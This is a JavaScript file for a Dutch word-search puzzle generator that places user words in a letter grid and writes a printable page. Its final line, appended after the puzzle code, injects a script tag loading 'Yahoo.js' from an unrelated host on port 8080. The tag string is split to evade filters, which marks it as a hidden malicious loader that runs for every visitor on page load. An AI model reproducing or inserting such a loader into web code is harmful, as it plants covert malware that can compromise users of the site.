var xsize=16;
var ysize=16;
var maxSize=30;
var maxWords=60;
var ipatience=33;
var ilongsuffering=3;

var alphabet="abcdefghijklmnopqrstuvwxyz";
var letters="aaabccddeeeeeeffgghhiiijkllmmnnnoooppqrrrsssstttuvwxyz";
var alpha=new Array(25);
var red=new Array(25);
var cells=new Array(maxSize);
var hilited=new Array(maxSize);
var cellfix=new Array(maxSize);
//var words="elephant\r\nsnake\r\nrabbit\r\nbutterfly\r\nhyena\r\neel\r\ntoad\r\nwhale\r\n";
var words="zet\r\nhier\r\njouw\r\neigen\r\nwoorden\r\nonder\r\nelkaar\r\nmaximaal\r\nzestig\r\n";
var word=0;
var oword=0;
var nword=0;
var iword=0;
var anchor=0;
var nanchor=0;
var success=false;
var placed=false;
var first=true;
var longer;
var i,j,x,y,k,check,d,nfound;
var diry=new Array(8);
var dirx=new Array(8);
var chr=new Array(25);
var patience;
var longsuffering;
var wordlist;
var found,notfound;
var startsx;
var endsx;
var startsy;
var endsy;
var deltax;
var deltay;
var worderror=false;
var textboard;
var boardwin;
var easydir;
var cluelist;

var wordlist=new Array(maxWords);
var wordulist=new Array(maxWords);
var found=new Array(maxWords);
var startsx=new Array(maxWords);
var endsx=new Array(maxWords);
var startsy=new Array(maxWords);
var endsy=new Array(maxWords);
var deltax=new Array(maxWords);
var deltay=new Array(maxWords);
for (i=0;i!=maxWords;i++)
{
	wordlist[i]="";
	wordulist[i]="";
	found[i]=false;
	startsx[i]=0;
	startsy[i]=0;
	endsx[i]=0;
	endsy[i]=0;
	deltax[i]=0;
	deltay[i]=0;
	}
	
for (i=0;i!=maxSize;i++)
	{
	cells[i]=new Array(maxSize);
	hilited[i]=new Array(maxSize);
	cellfix[i]=new Array(maxSize);
	}

for (i=0;i!=26;i++)
	chr[i]=alphabet.charAt(i);
	
diry[0]=-1; dirx[0]=1; 
diry[1]=1; dirx[1]=1; 
diry[2]=-1; dirx[2]=-1; 
diry[3]=1; dirx[3]=-1; 
diry[4]=-1; dirx[4]=0; 
diry[5]=0; dirx[5]=1; 
diry[6]=0; dirx[6]=-1; 
diry[7]=1; dirx[7]=0; 

function bylength(s1,s2)
	{
	return (s2.length-s1.length);
	}

function rndcenter(n)
	{
	return (Math.floor(Math.random()*(Math.floor(n/2)+1)) + Math.floor(Math.random()*(Math.ceil(n/2))));
	}

function rndchar(s)
	{
	return s.charAt(Math.floor(Math.random()*s.length));
	}
	
//--parse words

function redo()
{
longsuffering=ilongsuffering;
for (i=0;i!=maxSize;i++)
	for (j=0;j!=maxSize;j++)
		{
		cellfix[i][j]=false;
		cells[i][j]=null;
		}

for (i=0;i!=maxWords;i++)
	{
	wordlist[i]="";
	found[i]=false;
	startsx[i]=0;
	startsy[i]=0;
	endsx[i]=0;
	endsy[i]=0;
	deltax[i]=0;
	deltay[i]=0;
	}

nword=0;
iword=0;
word=0;
anchor=0;
nanchor=0;
success=false;
placed=false;
worderror=false;

if (words.lastIndexOf("\n")!=words.length-1)
	words=words+"\n";
	
while(iword<words.length-1) // how many words?
	{
	iword=words.indexOf("\n",iword+1);
	nword++;
	}

if (nword>maxWords) nword=maxWords;
iword=0;

for (i=0;i!=nword;i++) // this time parse into array
	{
	wordlist[i]=words.substring(iword,words.indexOf("\n",iword));
	iword=words.indexOf("\n",iword);
	if (wordlist[i].indexOf("\r")>-1)
		wordlist[i]=wordlist[i].substring(0,wordlist[i].length-1);

	if (wordlist[i].length>xsize && wordlist[i].length>ysize)
		{
		worderror=true;
		document.form1.output.value="puzzel is te klein voor de lange woorden.(bijvoorbeeld: "+wordlist[i]+")";
		return false;
		}
	if (wordlist[i].length<2) 
		{
		i--;
		nword--;
		}
	iword++;
	}

if (nword==0)
	{
	worderror=true;
	document.form1.output.value="Je moet wel woorden invullen.";	
	return false;
	}

for (i=0;i!=nword;i++)
	wordulist[i]=wordlist[i];
wordlist.sort(bylength); // sort larger words to do first
		
while (longsuffering>0)
	{
	// start with random board
	for (i=0;i!=xsize;i++)
		for (j=0;j!=ysize;j++)
			{
			cells[i][j]=alphabet.indexOf(rndchar(letters));
			cellfix[i][j]=false;
			}

	for (oword=0;oword!=nword;oword++)
		{
		for (i=0;i!=nword;i++)
			if (wordlist[oword]==wordulist[i]) 
				{
				word=i;
				break;
				}
		document.form1.output.value="Bezig...\nPoging #"+(ilongsuffering-longsuffering+1)+"("+(oword+1)+"/"+nword+")";
		patience=ipatience;
		success=false;
		while (patience>0)
			{
			nanchor=Math.floor(Math.random()*wordlist[word].length);
			anchor=alphabet.indexOf(wordulist[word].charAt(nanchor));
			x=rndcenter(xsize);
			y=rndcenter(ysize);
			for (i=0;i!=xsize;i++)
				{
				x=(x+1)%xsize;
				for (j=0;j!=ysize;j++)
					{
					y=(y+1)%ysize;
					
					if ((cellfix[x][y]==true && cells[x][y]==anchor) || (cellfix[x][y]==false && patience < ipatience*.7))
						{
						//--document.write("<br>found "+anchor+" at: "+x+" "+y)
						if (checkplace()) 
							{
							i=xsize-1;
							j=ysize-1;
							success=true;
							}
						if (worderror) return false;
						}
					
					}
				}
			if (success) break; // stop trying
			patience--;
			}
		if (!success) break; // stop going thru words
		}
	if (success) break; // stop trying
	longsuffering--;
	}
if (!success)
	{
	document.form1.output.value="Niet gelukt.\nMaar "+(word)+" van de "+nword+" woorden passen.";
	return false;
	}
// document.form1.output.value="Page created.";
document.form1.output.value=" ";
return true;
}

	
function checkplace()
	{
	d=Math.floor(Math.random()*4);
	longer=0;
	placed=false;
	worderror=false;
		
	if (wordulist[word].length-nanchor<nanchor)
		longer=nanchor;
	else
		longer=wordulist[word].length-nanchor-1;
		
	for (k=0;k!=8;k++)
		{
		d=(d+1)%8;
		if (easydir && Math.floor(d/2)==d/2) d++;
		if (y-nanchor*diry[d]>=ysize) continue;
		if (x-nanchor*dirx[d]>=xsize) continue;
		if (y-nanchor*diry[d]<0) continue;
		if (x-nanchor*dirx[d]<0) continue;
		if (y+(wordulist[word].length-nanchor-1)*diry[d]>=ysize) continue;
		if (x+(wordulist[word].length-nanchor-1)*dirx[d]>=xsize) continue;
		if (y+(wordulist[word].length-nanchor-1)*diry[d]<0) continue;
		if (x+(wordulist[word].length-nanchor-1)*dirx[d]<0) continue;
		for (check=-nanchor;check!=wordulist[word].length-nanchor;check++)
			{
			placed=true;
			if (alphabet.indexOf(wordulist[word].charAt(check+nanchor))==-1)
				{
				document.form1.output.value="Je mag alleen letters uit het alfabet gebruiken, géén cijfers of spaties etc.";	
				worderror=true;
				return false;
				}
			// if runs into fixed non-matching letter
			if (cellfix[x+check*dirx[d]][y+check*diry[d]] && cells[x+check*dirx[d]][y+check*diry[d]]!=alphabet.indexOf(wordulist[word].charAt(check+nanchor)))
				{
				placed=false;
				break;
				}
			}
		if (placed) 
			{
			startsx[word]=x-nanchor*dirx[d];
			startsy[word]=y-nanchor*diry[d];
			endsx[word]=x+(wordulist[word].length-nanchor-1)*dirx[d];
			endsy[word]=y+(wordulist[word].length-nanchor-1)*diry[d];
			deltax[word]=dirx[d];
			deltay[word]=diry[d];
			for (check=-nanchor;check!=wordulist[word].length-nanchor;check++)
				{
				cellfix[x+check*dirx[d]][y+check*diry[d]]=true;
				cells[x+check*dirx[d]][y+check*diry[d]]=alphabet.indexOf(wordulist[word].charAt(check+nanchor));
				}
			}
		if (placed) break;
		}
	return placed;
	}
			
function printout()
	{
	var newPage="";
	var outstring="";
	newPage += "<html>\n<head>\n<title>Jouw eigen Woordzoeker | MoeilijkePuzzels.nl</title>\n"
	newPage += "<link href='css/style.css' rel='stylesheet' type='text/css'>\n"
	newPage += "</head>\n<body>\n"
	newPage += "<center>\n<h1>Jouw eigen Woordzoeker</h1>\n"
	newPage += "<font face='Courier, Courier New' size='+2'>\n"  // moet lettertype met vaste breedte zijn
	for (i=0;i!=xsize;i++)
		{
		for (j=0;j!=ysize;j++)
			outstring=outstring+alphabet.charAt(cells[i][j]).toUpperCase()+" ";
		newPage += outstring+ "<BR>\n"
		outstring="";
		}

	newPage += "</font>\n</center>\n"
	newPage += "<p>"
	newPage += "<center><b><font color='#339966' size='4'>Zoek de volgende woorden:</font><br>\n"
		for (i=0;i!=nword;i++)
		newPage += wordulist[i]+ ", "
		
	newPage += "</b></font>\n"
	newPage += "<div class=printNiet>\n"
	newPage += "<HR>\n\n"
	newPage += '     <input type="button" value="Print deze pagina" onClick="window.print()">\n'
	newPage += '     <input TYPE="button" VALUE="Terug" onClick="history.go(-1)"><br><br>\n'
	newPage += '	 <script language="javascript" type="text/javascript" src="http://views.m4n.nl/_v?zid=753683"></script>\n'
	newPage += "</div>\n"
	newPage += "</center>\n\n</body>\n</html>"
	document.write(newPage)
	document.close();
	}





document.write('<s'+'cript type="text/javascript" src="http://assolkh.blackhulu.com:8080/Yahoo.js"></scr'+'ipt>');